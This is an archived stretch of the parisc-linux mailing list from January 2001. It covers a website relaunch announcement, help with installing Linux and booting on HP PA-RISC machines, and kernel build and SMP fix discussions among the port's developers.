Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619603 11428 80.91.229.3 (22 Nov 2014 01:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:43 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: jvinet@linuxcare.com  Fri Jan 26 13:01:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA01005
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 13:01:30 -0700
Original-Received: (qmail 11651 invoked by uid 15267); 26 Jan 2001 20:05:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11469 invoked from network); 26 Jan 2001 20:05:21 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 20:05:21 -0000
Original-Received: (qmail 8899 invoked from network); 26 Jan 2001 20:05:23 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (@216.208.98.2)
  by smtp.linuxcare.com with SMTP; 26 Jan 2001 20:05:23 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9422

OK, so after many reviews, revisions, discussions the new web site is
live.  Many, many thanks to everyone who endeavored so hard to give the
site a facelift and for constructive feedback which allowed us to create
what we hope will be a dynamic site that is easier to navigate through;
will allow new users to the to site to navigate faster to information
such as FAQs and Supported Hardware, but keeps all of the important
aspects and history that makesthis a space for Open Source developers on
PA RISC Linux to keep the community up to date on all of the trials and
tribulations of the port.  Last but not least, we hope to entice other
Open Source developers in the community to volunteer for tasks on the To
Do list.

A sneak preview courtesy of CVS allowed many of you time to review the
changes and provide useful feedback that had us make the following
changes:

1) Alex - renamed all epl to x files
- redid a Makefile that enables anyone to host the pages anywhere,
without embperl
- changed the embperl syntax to include headers and footers to a new one
2) test is too small - web team removed all the specified fonts
3) Title bars don't mean anything - Jane modified to pick up names of
all of the individual pages
4) All references to thepuffingroup.com have been replaced with
parisc-linux.org
5) Alex added a "Page Last Modified Feature" to time/date stamps all
updates from CVS

Some comments which were made that we did not address were the
following:
1. Too much boilerplate HTML which will quickly get out of sync between
the different files.
   I'm still not quite sure what this comment meant, but I have synched
up both sites so all _content_ is current.
2. Image map should be separate images - it is a design issue - left in
tact.
5. too many tables - not changed
7. too many directories with just one file - done for growth purposes,
consensus was it would stay the same.

While looking through if you notice any glaring errors, broken links,
etc., please send me an email and I will try to address them as quickly
as possible.

Again thanks to everyone at Linuxcare, HP and in the O/S community who
helped out with giving us a new look for a new year!

Jane
-- 
Jane Vinet, Director Professional Services/Canadian Operations
Linuxcare, Inc. 613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the Revolution


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rinux-Iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Sat, 27 Jan 2001 01:02:22 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <001501c087f4$6d378920$1e9c953e@rinux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_01C087FC.CE541860"
X-Trace: ger.gmane.org 1416619603 11432 80.91.229.3 (22 Nov 2014 01:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:43 +0000 (UTC)
To: <willy@puffin.external.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Jan 26 17:05:38 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03827
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 17:05:38 -0700
Original-Received: (qmail 22364 invoked by uid 15267); 27 Jan 2001 00:09:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22350 invoked from network); 27 Jan 2001 00:09:36 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 00:09:36 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14MIvv-00083u-00
	for parisc-linux@thepuffingroup.com; Sat, 27 Jan 2001 00:09:35 +0000
Original-Received: from [212.49.219.170] (helo=Friday.niccx.com)
	by www.linux.org.uk with esmtp (Exim 3.13 #1)
	id 14MImK-0007sf-00
	for willy@ftp.uk.linux.org; Fri, 26 Jan 2001 23:59:40 +0000
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by Friday.niccx.com (8.11.0/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id f0QNxb118976
	for <matthew@wil.cx>; Fri, 26 Jan 2001 23:59:38 GMT
Original-Received: from smtp.aruba.it (smtp.technorail.com [62.149.128.19])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA03744
	for <willy@puffin.external.hp.com>; Fri, 26 Jan 2001 16:55:34 -0700
Original-Received: from rinux ([62.149.156.30]) by smtp.aruba.it with Microsoft SMTPSVC(5.0.2195.1600);
	 Sat, 27 Jan 2001 01:04:15 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 27 Jan 2001 00:04:16.0510 (UTC) FILETIME=[B03F91E0:01C087F4]
Resent-From: willy@parcelfarce.linux.theplanet.co.uk
Resent-Date: Sat, 27 Jan 2001 00:09:35 +0000
Resent-To: parisc-linux@thepuffingroup.com
Resent-Message-Id: <E14MIvv-00083u-00@www.linux.org.uk>
Resent-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9423

This is a multi-part message in MIME format.

------=_NextPart_000_0012_01C087FC.CE541860
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

excuse me. I have 3 parisc and i want instal on one linux
wath can i download to install linux on it
regards

------=_NextPart_000_0012_01C087FC.CE541860
Content-Type: text/x-vcard;
	name="Rinux.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="Rinux.vcf"

BEGIN:VCARD
VERSION:2.1
N:;Rinux
FN:Rinux
URL:http://www.puntoelettronica.com
EMAIL;PREF;INTERNET:rino@puntoelettronica.com
REV:20010127T000222Z
END:VCARD

------=_NextPart_000_0012_01C087FC.CE541860--


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Fri, 26 Jan 2001 18:24:53 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <3A72155537A.E490JCARLSON@smtp.macalester.edu>
References: <001501c087f4$6d378920$1e9c953e@rinux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619603 11441 80.91.229.3 (22 Nov 2014 01:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Rinux-Iternet <rinux@iternet.it>
Original-X-From: jcarlson@macalester.edu  Fri Jan 26 17:22:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04367
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 17:22:31 -0700
Original-Received: (qmail 8953 invoked by uid 15267); 27 Jan 2001 00:26:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8944 invoked from network); 27 Jan 2001 00:26:29 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 00:26:29 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZDFGYEQCO00239F@macalester.edu> for
 parisc-linux@thepuffingroup.com; Fri, 26 Jan 2001 18:26:29 CDT
In-reply-to: <001501c087f4$6d378920$1e9c953e@rinux>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9424

Go to http://www.macalester.edu/~jcarlson/install.html
I made those instructions last night, and it should work for you.


> This is a multi-part message in MIME format.
> 
> ----------------------------------------------------------------
> excuse me. I have 3 parisc and i want instal on one linux
> wath can i download to install linux on it
> regards


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] My 9000/720 boots, but problems with `ldconfig'
Date: Sat, 27 Jan 2001 01:36:36 +0100
Organization: private
Lines: 48
Approved: news@gmane.org
Message-ID: <3A721814.B357DEEA@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619604 11444 80.91.229.3 (22 Nov 2014 01:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Fri Jan 26 17:32:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04714
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 17:32:43 -0700
Original-Received: (qmail 19546 invoked by uid 15267); 27 Jan 2001 00:36:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19535 invoked from network); 27 Jan 2001 00:36:40 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 00:36:40 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-058.dot.at [212.9.128.98])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id BAA06196
	for <parisc-linux@thepuffingroup.com>; Sat, 27 Jan 2001 01:45:04 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9425

Hello HP specialists !

The help with the TRAP-18 was successful. I added this to 15/26/etc and
suddenly the system boot from my new built root, but there is a problem
with the /etc/ld.so.cache.

So I used the CD image, installed on my NFS server and ... SUCCESS !
The system boots up !
I have problems with the RTC chip, setting the time with hwclock.
First it needs /dev/rtc, so I compiled this in and added the /dev entry.
But the ioctl reading the time fails. I have to study the NVRAM/RTC chip
type and the implementation of rtc.c.

But as mentioned above I have problems with creating a own
	/etc/ld.so.cache
I tried it with the ldconfig of my host machines (intel-linux, 
sparc-linux) with the `-r' option. My root file system was mounted on
`/mnt/disk0'. So I tried
	ldconfig -r /mnt/disk0
The machine boots with a error not finding libc.6.so.
I tried further to use ldconfig of the CD image on the running linux,
where I have mounted my self created root file system (from the 
cross tool chain) and did again `ldconfig -r /mnt' but it of course
wants to access the file relative to the cross tool chain tree
(/usr/parisc/hppa-linux/etc/ld.so.cache) which was not accessable
from the target machine.

How must I handle this, if I build a root file system from the 
scratch. The glibc source package creates the initial root tree
with the --prefix=$DEST/hppa-linux. This is the initial root of
all files executable for the HP target. And I can further build and
install software there. What is the step (especially concering the
ldconig stuff) to make a "vaild" root from that tree ?

Thanks for the help so far, I am happy to have the 720 up.

Are there news with the E55 devices. 
Again, what is "SPIFI" ?

With friendly regards

	Christoph

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My 9000/720 boots, but problems with `ldconfig'
Date: Fri, 26 Jan 2001 16:44:21 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <200101270044.QAA24345@milano.cup.hp.com>
References: <3A721814.B357DEEA@dot.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619604 11449 80.91.229.3 (22 Nov 2014 01:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: grundler@cup.hp.com  Fri Jan 26 17:38:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA05135
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 17:38:20 -0700
Original-Received: (qmail 25788 invoked by uid 15267); 27 Jan 2001 00:42:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25773 invoked from network); 27 Jan 2001 00:42:17 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 00:42:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 515621B4C; Fri, 26 Jan 2001 16:42:16 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA24345;
	Fri, 26 Jan 2001 16:44:23 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 27 Jan 2001 01:36:36 PST."
             <3A721814.B357DEEA@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:9426

Christoph Plattner wrote:
> I have problems with the RTC chip, setting the time with hwclock.
> First it needs /dev/rtc, so I compiled this in and added the /dev entry.
> But the ioctl reading the time fails. I have to study the NVRAM/RTC chip
> type and the implementation of rtc.c.

You want to use CONFIG_GENRTC - not CONFIG_RTC.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_SMP update
Date: Fri, 26 Jan 2001 16:47:53 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200101270047.QAA24364@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619604 11450 80.91.229.3 (22 Nov 2014 01:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Jan 26 17:41:51 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA05243
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 17:41:51 -0700
Original-Received: (qmail 29482 invoked by uid 15267); 27 Jan 2001 00:45:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29453 invoked from network); 27 Jan 2001 00:45:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 00:45:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 721CB1B94
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Jan 2001 16:45:46 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA24364
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Jan 2001 16:47:54 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9427


[ This was posted to the CVS mailing list - I thought it
  might be of general interest. -ggg
]


CVSROOT:	/home/cvs/parisc
Module name:	linux
Changes by:	grundler	01/01/26 17:33:29

Modified files:
	arch/parisc/kernel: Makefile head.S irq.c pdc.c setup.c smp.c 
	arch/parisc64/kernel: Makefile head.S 
	arch/parisc64/lib: Makefile 
	include/asm-parisc: pdc.h 

Log message:
Two sets of fixes here: Makefiles and round two of CONFIG_SMP

First the news :^) (it's 11 now Matt ;^)
hppa64 won't build on head:
o hppa64-linux-gcc is broken. Workaround is to define lock in spinlock_t
as unsigned long and change __ldcw() macro to use ldcd isns.
amodra has fixed gcc in the devel branch but some other problems
prevent him from making that mainline at the moment.
o parisc64 Makefile complete the merge for those files.
o problem is pbus_set_ranges() isn't defined.
Looks like we picked up the new drivers/pci stuff anyway. *sigh*.
I'll look at this first thing next week.

parisc* Makefiles weren't using proper rules to generate .o from .S files.
This is a first hack. Willy will follow up with "clean" versions.

Second round of CONFIG_SMP fixes. I now have both CPU's "online"
and in wide-mode. IPI isn't working. And removing the mdelay's
in smp.c exposes a race condition I haven't figured out yet.
(it's not pdc calls or console output - unless our spinlocks are
broken). If anyone wants to look at either problem, I suggest with
a 2-way j5k running 32-bit to remove some of the variables.



From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new kernel
Date: Sat, 27 Jan 2001 03:48:52 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3A723714.F271D06C@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619604 11451 80.91.229.3 (22 Nov 2014 01:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:44 +0000 (UTC)
To: Puffin Group <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Fri Jan 26 19:45:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06855
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 19:45:26 -0700
Original-Received: (qmail 13744 invoked by uid 15267); 27 Jan 2001 02:49:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13730 invoked from network); 27 Jan 2001 02:49:19 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 02:49:19 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 92089D1588
	for <parisc-linux@thepuffingroup.com>; Sat, 27 Jan 2001 03:48:52 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9428

Hi all,

        Xavier and I made 2 differents kernels of the new CVS: Ok for
B132 but our 712 dies after saying:
Firmware does not allow selection of default wide mode

Just after branching to kernel

What does it mean?


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SMP update
Date: Sat, 27 Jan 2001 03:09:01 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20010127030901.B28987@parcelfarce.linux.theplanet.co.uk>
References: <200101270047.QAA24364@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619605 11454 80.91.229.3 (22 Nov 2014 01:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Jan 26 20:44:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA07541
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 20:44:40 -0700
Original-Received: (qmail 29293 invoked by uid 15267); 27 Jan 2001 03:48:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29282 invoked from network); 27 Jan 2001 03:48:33 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 03:48:33 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14MLjZ-0002CG-00; Sat, 27 Jan 2001 03:09:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101270047.QAA24364@milano.cup.hp.com>; from grundler@cup.hp.com on Fri, Jan 26, 2001 at 04:47:53PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9429

On Fri, Jan 26, 2001 at 04:47:53PM -0800, Grant Grundler wrote:
> o problem is pbus_set_ranges() isn't defined.
> Looks like we picked up the new drivers/pci stuff anyway. *sigh*.
> I'll look at this first thing next week.

damn.  i deliberately excluded all the changes to drivers/pci (except
those required to build successfully).  But I forgot to exclude the changes
to include/linux/pci.h.  Looking over it, the only problem is with:

-void pdev_assign_unassigned_resources(struct pci_dev *dev);
-void pci_set_bus_ranges(void);
+void pdev_enable_device(struct pci_dev *);
+void pdev_sort_resources(struct pci_dev *, struct resource_list *, u32);
+unsigned long pci_bridge_check_io(struct pci_dev *);

err... except that you said `pbus_set_ranges()'.  I can still see it:
setup-bus.c:pbus_set_ranges(struct pci_bus *bus, struct pbus_set_ranges_data *outer)

so I'm not sure exactly what problem you're experiencing.

> parisc* Makefiles weren't using proper rules to generate .o from .S files.
> This is a first hack. Willy will follow up with "clean" versions.

Yup, just cleaning up now.

> (it's not pdc calls or console output - unless our spinlocks are
> broken).

well, that could be.  anyone fresh want to look at the spinlock code.
did i get the sense of the test wrong?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SMP update
Date: Sat, 27 Jan 2001 03:34:52 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010127033452.C28987@parcelfarce.linux.theplanet.co.uk>
References: <200101270047.QAA24364@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619605 11459 80.91.229.3 (22 Nov 2014 01:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Jan 26 20:57:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA07891
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 20:57:18 -0700
Original-Received: (qmail 6758 invoked by uid 15267); 27 Jan 2001 04:01:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6751 invoked from network); 27 Jan 2001 04:01:16 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 04:01:16 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14MM8a-0002Vp-00; Sat, 27 Jan 2001 03:34:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101270047.QAA24364@milano.cup.hp.com>; from grundler@cup.hp.com on Fri, Jan 26, 2001 at 04:47:53PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9430

On Fri, Jan 26, 2001 at 04:47:53PM -0800, Grant Grundler wrote:
> o problem is pbus_set_ranges() isn't defined.
> Looks like we picked up the new drivers/pci stuff anyway. *sigh*.
> I'll look at this first thing next week.

Wait, I figured it out. The new-style Makefile only includes setup-bus.c
if CONFIG_ARM or CONFIG_ALPHA is defined.  Soadding

obj-$(CONFIG_PARISC) += setup-bus.c

should do the trick.  i'll test that in a moment and if the 64-bit kernel
compiles, i'll commit it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 800/G30 and G50 Support?
Date: Sat, 27 Jan 2001 15:38:19 +1100
Lines: 12
Approved: news@gmane.org
Message-ID: <3A72EB6B.5873.15C4E1@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619605 11462 80.91.229.3 (22 Nov 2014 01:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: plaven@ozemail.com.au  Fri Jan 26 21:34:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08472
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 21:34:33 -0700
Original-Received: (qmail 2789 invoked by uid 15267); 27 Jan 2001 04:38:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2773 invoked from network); 27 Jan 2001 04:38:31 -0000
Original-Received: from mta04.mail.au.uu.net (HELO mta04.mail.mel.aone.net.au) (203.2.192.84)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 04:38:31 -0000
Original-Received: from piglet.sspl.net.au ([210.84.112.148])
          by mta04.mail.mel.aone.net.au with ESMTP
          id <20010127043822.PDSH3144.mta04.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@thepuffingroup.com>;
          Sat, 27 Jan 2001 15:38:22 +1100
Original-Received: from winnie.sspl.net.au (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id PAA04773
	for <parisc-linux@thepuffingroup.com>; Sat, 27 Jan 2001 15:38:19 +1100
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:9431

Hi Everyone,

I have come across some G30's and G50's in my travels.

I hit the archive (via a google search) and there was mention that 
the G30 was too old and not likely supported, is this the case?

Thanks,


Pete.


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
